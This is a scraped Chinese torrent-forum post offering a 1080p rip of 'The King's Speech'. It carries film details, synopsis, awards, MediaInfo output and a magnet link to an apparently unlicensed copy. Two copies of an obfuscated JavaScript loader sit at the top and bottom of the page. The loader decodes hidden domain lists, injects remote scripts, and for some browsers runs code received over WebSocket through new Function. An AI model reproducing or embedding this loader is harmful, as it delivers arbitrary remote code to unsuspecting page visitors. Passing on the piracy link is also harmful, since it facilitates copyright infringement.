国王的演讲[国英多音轨/简繁字幕].The.Kings.Speech.2010.BluRay.1080p.2Audio.DTS-HD.MA5.1.x265.10bit 11.97GB

版主小s 1月前 172

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x68\x6e\x49\x43\x61\x57\x73\x53\x72\x45']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};

◎译 名 国王的演讲 / 皇上无话儿(港) / 王者之声:宣战时刻(台) / 王的演讲 / 国王的演说

◎片 名 The King's Speech

◎年 代 2010

◎产 地 英国 / 澳大利亚 / 美国

◎类 别 剧情 / 传记 / 历史

◎语 言 英语

◎上映日期 2012-02-24(中国大陆) / 2010-09-06(特柳赖德电影节) / 2010-12-25(美国) / 2011-01-07(英国)

◎IMDb链接 https://www.imdb.com/title/tt1504320/

◎豆瓣评分 8.4/10 (539876人评价)

◎豆瓣链接 https://movie.douban.com/subject/4023638/

◎片 长 118分钟

◎导 演 汤姆·霍伯 Tom Hooper (id:1274998)

◎编 剧 大卫·塞德勒 David Seidler (id:1297162)

◎演 员 科林·费尔斯 Colin Firth (id:1031223)

杰弗里·拉什 Geoffrey Rush (id:1010543)

海伦娜·伯翰·卡特 Helena Bonham Carter (id:1016680)

盖·皮尔斯 Guy Pearce (id:1035672)

迈克尔·刚本 Michael Gambon (id:1027154)

蒂莫西·斯波 Timothy Spall (id:1031872)

詹妮弗·艾莉 Jennifer Ehle (id:1012506)

德里克·雅各比 Derek Jacobi (id:1027866)

安东尼·安德鲁斯 Anthony Andrews (id:1014059)

克莱尔·布鲁姆 Claire Bloom (id:1007058)

阿德里安·斯卡伯勒 Adrian Scarborough (id:1356735)

雷蒙娜·马奎斯 Ramona Marquez (id:1365487)

伊芙·贝斯特 Eve Best (id:1065427)

戴维·鲍姆伯 David Bamber (id:1049807)

鲍伯·韦恩斯坦 Bob Weinstein (id:1300654)

伊安·坎宁 Iain Canning (id:1314000)

格莱斯·乌文 Gareth Unwin (id:1314001)

杰弗里·拉什 Geoffrey Rush (id:1010543)

埃米尔·谢尔曼 Emile Sherman (id:1297435)

亚历山大·德斯普拉 Alexandre Desplat (id:1049972)

扎克·尼科尔森 Zac Nicholson (id:1340600)

丹尼·科恩 Danny Cohen (id:1280970)

妮娜·古德 Nina Gold (id:1276213)

伊芙·斯图尔特 Eve Stewart (id:1298435)

Netty Chapman Netty Chapman (id:1304350)

朱迪·法尔 Judy Farr (id:1283462)

珍妮·碧万 Jenny Beavan (id:1278169)

弗朗西丝·汉农 Frances Hannon (id:1285986)

Melinka Thompson-Godoy Melinka Thompson-Godoy (id:1299196)

◎标 签 英国 / 励志 / 传记 / 剧情 / 奥斯卡 / 历史 / 经典 / 2010

◎简 介

约克郡公爵(柯林·菲尔斯 Colin Firth 饰)因患口吃,无法在公众面前发表演讲,这令他接连在大型仪式上丢丑。贤惠妻子伊丽莎白(海伦娜·邦汉·卡特 Helena Bonham Carter 饰)为了帮助丈夫,到处寻访名医,但是传统的方法总不奏效。一次偶然的机会,她慕名来到了语言治疗师莱纳尔罗格(杰弗里·拉什 Geoffrey Rush 饰)的宅邸,传说他的方式与众不同。虽然公爵对罗格稀奇古怪的招法并不感兴趣,首次诊疗也不欢而散。但是,公爵发现在聆听音乐时自己朗读莎翁竟然十分流利。这让他开始信任罗格,配合治疗,慢慢克服着心理的障碍。乔治五世驾崩,爱德华八世继承王位,却为了迎娶寡妇辛普森夫人不惜退位。艾伯特临危受命,成为了乔治六世。他面临的最大挑战就是如何在二战前发表鼓舞人心的演讲……

◎获奖情况 (共58项)

第83届奥斯卡金像奖 (2011)

最佳影片

最佳导演

└──汤姆·霍伯 (id:1274998)

最佳男主角

└──科林·费尔斯 (id:1031223)

最佳男配角(提名)

└──杰弗里·拉什 (id:1010543)

最佳女配角(提名)

└──海伦娜·伯翰·卡特 (id:1016680)

最佳原创剧本

└──大卫·塞德勒 (id:1297162)

最佳摄影(提名)

└──丹尼·科恩 (id:1280970)

最佳剪辑(提名)

└──塔里克·安瓦尔 (id:1049998)

最佳混音(提名)

最佳艺术指导(提名)

最佳服装设计(提名)

└──珍妮·碧万 (id:1278169)

最佳原创配乐(提名)

└──亚历山大·德斯普拉 (id:1049972)

第68届金球奖 (2011)

电影类 最佳剧情片(提名)

电影类 最佳导演(提名)

└──汤姆·霍伯 (id:1274998)

电影类 剧情片最佳男主角

└──科林·费尔斯 (id:1031223)

电影类 最佳男配角(提名)

└──杰弗里·拉什 (id:1010543)

电影类 最佳女配角(提名)

└──海伦娜·伯翰·卡特 (id:1016680)

电影类 最佳编剧(提名)

└──大卫·塞德勒 (id:1297162)

电影类 最佳原创配乐(提名)

└──亚历山大·德斯普拉 (id:1049972)

第24届欧洲电影奖 (2011)

观众选择奖

最佳影片(提名)

最佳男主角

└──科林·费尔斯 (id:1031223)

最佳剪辑

└──塔里克·安瓦尔 (id:1049998)

最佳配乐(提名)

第35届日本电影学院奖 (2012)

最佳外语片

第25届西班牙戈雅奖 (2011)

最佳欧洲电影

└──汤姆·霍伯 (id:1274998)

第55届意大利大卫奖 (2011)

最佳欧洲电影

└──汤姆·霍伯 (id:1274998)

第76届纽约影评人协会奖 (2010)

最佳男主角

└──科林·费尔斯 (id:1031223)

第11届美国电影学会奖 (2010)

特别表彰

第9届华盛顿影评人协会奖 (2010)

最佳男主角

└──科林·费尔斯 (id:1031223)

最佳男配角(提名)

└──杰弗里·拉什 (id:1010543)

最佳女配角(提名)

└──海伦娜·伯翰·卡特 (id:1016680)

最佳原创剧本(提名)

└──大卫·塞德勒 (id:1297162)

第31届波士顿影评人协会奖 (2010)

最佳男主角(提名)

└──科林·费尔斯 (id:1031223)

第15届圣地亚哥影评人协会奖 (2010)

最佳影片(提名)

最佳男主角(提名)

└──科林·费尔斯 (id:1031223)

最佳男配角(提名)

└──杰弗里·拉什 (id:1010543)

最佳原创剧本(提名)

└──大卫·塞德勒 (id:1297162)

第23届芝加哥影评人协会奖 (2010)

最佳影片(提名)

最佳导演(提名)

└──汤姆·霍伯 (id:1274998)

最佳男主角

└──科林·费尔斯 (id:1031223)

最佳男配角(提名)

└──杰弗里·拉什 (id:1010543)

最佳女配角(提名)

└──海伦娜·伯翰·卡特 (id:1016680)

最佳原创剧本(提名)

└──大卫·塞德勒 (id:1297162)

第44届堪萨斯影评人协会奖 (2011)

最佳男主角

└──科林·费尔斯 (id:1031223)

第10届凤凰城影评人协会奖 (2010)

最佳影片

最佳导演(提名)

└──汤姆·霍伯 (id:1274998)

最佳男主角

└──科林·费尔斯 (id:1031223)

最佳男配角(提名)

└──杰弗里·拉什 (id:1010543)

最佳女配角(提名)

└──海伦娜·伯翰·卡特 (id:1016680)

最佳服装设计(提名)

└──珍妮·碧万 (id:1278169)

最佳艺术指导(提名)

└──伊芙·斯图尔特 (id:1298435)

最佳群像表演(提名)

十佳影片

第19届东南影评人协会奖 (2010)

最佳男主角

└──科林·费尔斯 (id:1031223)

最佳男配角

└──杰弗里·拉什 (id:1010543)

最佳原创剧本

└──大卫·塞德勒 (id:1297162)

十大佳片

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 337893498564693540328487437321614999712 (0xFE33EBB2562CC7B7B2C16A4FDBC140A0)

  4. Complete name : The.King[email protected]BBQDDQ.COM.mkv

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 12.0 GiB

  8. Duration : 1 h 58 min

  9. Overall bit rate mode : Variable

  10. Overall bit rate : 14.5 Mb/s

  11. Encoded date : UTC 2021-10-23 16:18:39

  12. Writing application : mkvmerge v49.0.0 ('Sick Of Losing Soulmates') 64-bit

  13. Writing library : libebml v1.4.0 + libmatroska v1.6.1


  14. Video

  15. ID : 1

  16. Format : HEVC

  17. Format/Info : High Efficiency Video Coding

  18. Format profile : Main [email protected]@High

  19. Codec ID : V_MPEGH/ISO/HEVC

  20. Duration : 1 h 58 min

  21. Bit rate : 8 827 kb/s

  22. Width : 1 920 pixels

  23. Height : 1 080 pixels

  24. Display aspect ratio : 16:9

  25. Frame rate mode : Constant

  26. Frame rate : 23.976 (24000/1001/53354) FPS

  27. Color space : YUV

  28. Chroma subsampling : 4:2:0

  29. Bit depth : 10 bits

  30. Bits/(Pixel*Frame) : 0.178

  31. Stream size : 7.30 GiB (61%)

  32. Title : HEVC, [email protected]@High, 24/1.001 fps @ 8826 kbps

  33. Writing library : x265 3.4+14-gd419c7152:[Windows][GCC 10.2.0][64 bit] 10bit

  34. Encoding settings : cpuid=533541111039 / frame-threads=3 / numa-pools=8 / wpp / pmode / pme / no-psnr / no-ssim / log-level=2 / input-csp=1 / input-res=1920x1080 / interlace=0 / total-frames=170425 / level-idc=51 / high-tier=1 / uhd-bd=0 / ref=5 / no-allow-non-conformance / no-repeat-headers / annexb / no-aud / no-hrd / info / hash=0 / no-temporal-layers / open-gop / min-keyint=24 / keyint=240 / gop-lookahead=0 / bframes=6 / b-adapt=2 / b-pyramid / bframe-bias=0 / rc-lookahead=40 / lookahead-slices=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / no-splice / no-intra-refresh / ctu=32 / min-cu-size=8 / no-rect / no-amp / max-tu-size=32 / tu-inter-depth=3 / tu-intra-depth=3 / limit-tu=4 / rdoq-level=2 / dynamic-rd=0.00 / no-ssim-rd / signhide / no-tskip / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-merge=4 / limit-refs=1 / limit-modes / me=3 / subme=4 / merange=25 / temporal-mvp / no-frame-dup / no-hme / weightp / weightb / no-analyze-src-pics / deblock=-3:-3 / no-sao / no-sao-non-deblock / rd=6 / selective-sao=0 / no-early-skip / rskip / no-fast-intra / no-tskip-fast / no-cu-lossless / b-intra / no-splitrd-skip / rdpenalty=0 / psy-rd=2.00 / psy-rdoq=1.00 / no-rd-refine / no-lossless / cbqpoffs=0 / crqpoffs=0 / rc=crf / crf=17.0 / qcomp=0.65 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=80000 / vbv-bufsize=80000 / vbv-init=0.9 / crf-max=0.0 / crf-min=0.0 / ipratio=1.40 / pbratio=1.30 / aq-mode=2 / aq-strength=0.85 / cutree / zone-count=0 / no-strict-cbr / qg-size=32 / no-rc-grain / qpmax=69 / qpmin=0 / no-const-vbv / sar=1 / overscan=0 / videoformat=5 / range=0 / colorprim=1 / transfer=1 / colormatrix=1 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / no-scenecut-aware-qpconformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0

  35. Language : English

  36. Default : Yes

  37. Forced : No

  38. Color range : Limited

  39. Color primaries : BT.709

  40. Transfer characteristics : BT.709

  41. Matrix coefficients : BT.709


  42. Audio #1

  43. ID : 2

  44. Format : DTS XLL

  45. Format/Info : Digital Theater Systems

  46. Commercial name : DTS-HD Master Audio

  47. Codec ID : A_DTS

  48. Duration : 1 h 58 min

  49. Bit rate mode : Variable

  50. Bit rate : 3 319 kb/s

  51. Channel(s) : 6 channels

  52. Channel layout : C L R Ls Rs LFE

  53. Sampling rate : 48.0 kHz

  54. Frame rate : 93.750 FPS (512 SPF)

  55. Bit depth : 24 bits

  56. Compression mode : Lossless

  57. Stream size : 2.75 GiB (23%)

  58. Title : English DTS-HD Master Audio 5.1 @ 3319 kbps

  59. Language : English

  60. Default : Yes

  61. Forced : No


  62. Audio #2

  63. ID : 3

  64. Format : AC-3

  65. Format/Info : Audio Coding 3

  66. Commercial name : Dolby Digital

  67. Codec ID : A_AC3

  68. Duration : 1 h 58 min

  69. Bit rate mode : Constant

  70. Bit rate : 192 kb/s

  71. Channel(s) : 2 channels

  72. Channel layout : L R

  73. Sampling rate : 48.0 kHz

  74. Frame rate : 31.250 FPS (1536 SPF)

  75. Compression mode : Lossy

  76. Stream size : 163 MiB (1%)

  77. Title : English Dolby Digital Audio 2.0 @ 192 kbps Commentary

  78. Language : English

  79. Service kind : Complete Main

  80. Default : No

  81. Forced : No


  82. Audio #3

  83. ID : 4

  84. Format : MLP FBA

  85. Format/Info : Meridian Lossless Packing FBA

  86. Commercial name : Dolby TrueHD

  87. Codec ID : A_TRUEHD

  88. Duration : 1 h 58 min

  89. Bit rate mode : Variable

  90. Bit rate : 1 348 kb/s

  91. Maximum bit rate : 2 250 kb/s

  92. Channel(s) : 6 channels

  93. Channel layout : L R C LFE Ls Rs

  94. Sampling rate : 48.0 kHz

  95. Frame rate : 1 200.000 FPS (40 SPF)

  96. Compression mode : Lossless

  97. Stream size : 1.12 GiB (9%)

  98. Title : Mandarin Dolby TrueHD Audio 5.1 @ 1796 kbps

  99. Language : Chinese

  100. Default : No

  101. Forced : No


  102. Audio #4

  103. ID : 5

  104. Format : AC-3

  105. Format/Info : Audio Coding 3

  106. Commercial name : Dolby Digital

  107. Codec ID : A_AC3

  108. Duration : 1 h 58 min

  109. Bit rate mode : Constant

  110. Bit rate : 448 kb/s

  111. Channel(s) : 6 channels

  112. Channel layout : L R C LFE Ls Rs

  113. Sampling rate : 48.0 kHz

  114. Frame rate : 31.250 FPS (1536 SPF)

  115. Compression mode : Lossy

  116. Stream size : 380 MiB (3%)

  117. Title : Mandarin Dolby Digital Audio 5.1 @ 640 kbps

  118. Language : Chinese

  119. Service kind : Complete Main

  120. Default : No

  121. Forced : No


  122. Text #1

  123. ID : 6

  124. Format : PGS

  125. Codec ID : S_HDMV/PGS

  126. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  127. Duration : 1 h 49 min

  128. Bit rate : 46.2 kb/s

  129. Count of elements : 2848

  130. Stream size : 36.2 MiB (0%)

  131. Title : Eng/SUP

  132. Language : English

  133. Default : No

  134. Forced : No


  135. Text #2

  136. ID : 7

  137. Format : PGS

  138. Codec ID : S_HDMV/PGS

  139. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  140. Duration : 1 h 53 min

  141. Bit rate : 100 kb/s

  142. Count of elements : 4574

  143. Stream size : 81.4 MiB (1%)

  144. Title : Chs/SUP 简体中文特效

  145. Language : Chinese

  146. Default : Yes

  147. Forced : No


  148. Text #3

  149. ID : 8

  150. Format : PGS

  151. Codec ID : S_HDMV/PGS

  152. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  153. Duration : 1 h 53 min

  154. Bit rate : 102 kb/s

  155. Count of elements : 4574

  156. Stream size : 82.8 MiB (1%)

  157. Title : Cht/SUP 繁体中文特效

  158. Language : Chinese

  159. Default : No

  160. Forced : No


  161. Text #4

  162. ID : 9

  163. Format : PGS

  164. Codec ID : S_HDMV/PGS

  165. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  166. Duration : 1 h 53 min

  167. Bit rate : 26.9 kb/s

  168. Count of elements : 2219

  169. Stream size : 21.8 MiB (0%)

  170. Title : Chs/SUP 纯特效

  171. Language : Chinese

  172. Default : No

  173. Forced : No


  174. Menu

  175. 00:00:00.000 : en:第 01 章

  176. 00:05:17.901 : en:第 02 章

  177. 00:07:38.416 : en:第 03 章

  178. 00:12:16.486 : en:第 04 章

  179. 00:17:51.904 : en:第 05 章

  180. 00:29:17.422 : en:第 06 章

  181. 00:34:25.188 : en:第 07 章

  182. 00:38:44.197 : en:第 08 章

  183. 00:45:49.330 : en:第 09 章

  184. 00:56:05.237 : en:第 10 章

  185. 01:00:56.069 : en:第 11 章

  186. 01:05:03.525 : en:第 12 章

  187. 01:11:48.513 : en:第 13 章

  188. 01:14:32.885 : en:第 14 章

  189. 01:16:46.018 : en:第 15 章

  190. 01:21:24.880 : en:第 16 章

  191. 01:23:35.385 : en:第 17 章

  192. 01:31:03.875 : en:第 18 章

  193. 01:33:46.663 : en:第 19 章

  194. 01:41:48.769 : en:第 20 章

  195. 01:48:16.740 : en:第 21 章

  196. 01:51:33.562 : en:第 22 章




复制代码


TAGS 剧情 历史 传记

磁力链:
  • magnet:?xt=urn:btih:E4A6F0C864C01E62EA70F66734A463D0EB1624D0

上传的附件:
BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。
最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNg==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x59\x72\x72\x51\x4e\x72\x4a\x5a\x7a\x42']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};